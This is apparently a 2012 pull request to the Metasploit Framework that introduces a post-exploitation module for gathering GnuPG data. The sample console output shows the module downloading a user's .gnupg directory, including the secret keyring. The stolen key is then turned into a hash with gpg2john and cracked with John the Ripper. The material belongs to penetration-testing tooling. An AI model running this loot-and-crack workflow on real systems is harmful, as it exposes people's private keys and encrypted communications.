rapid7/metasploit-framework — pull request #850 by kholia (2012-10-02 12:22:14+00:00)
Title: GnuPG Information Gather Module, tested against Linux

Hi,

I have implemented GnuPG Information Gathering Module. It has been tested against Linux only so far (but should hopefully work for other platforms as well).

# looting phase

msf post(gpg_creds) > exploit
[*] Finding .gpg directories
[*] Looting 1 directories
[+] Downloading /home/user/.gnupg/pubring.gpg -> pubring.gpg
[+] Downloading /home/user/.gnupg/random_seed -> random_seed
[+] Downloading /home/user/.gnupg/secring.gpg -> secring.gpg
[+] Downloading /home/user/.gnupg/trustdb.gpg -> trustdb.gpg
[*] Post module execution completed

# cracking phase

➜ src git:(unstable-jumbo) ✗ make gpg2john
g++ -Wall gpg2john.cpp -lcrypto -o ../run/gpg2john

➜ src git:(unstable-jumbo) ✗ ../run/gpg2john ~/.msf4loot/...secring.gpg > hash

➜ src git:(unstable-jumbo) ✗ ../run/john hash
Loaded 1 password hash (OpenPGP / GnuPG Secret Key [32/64])
openwall (/home/user/.msf4/loot/...secring.gpg)

:-)

Please review.

Thanks,
Dhiru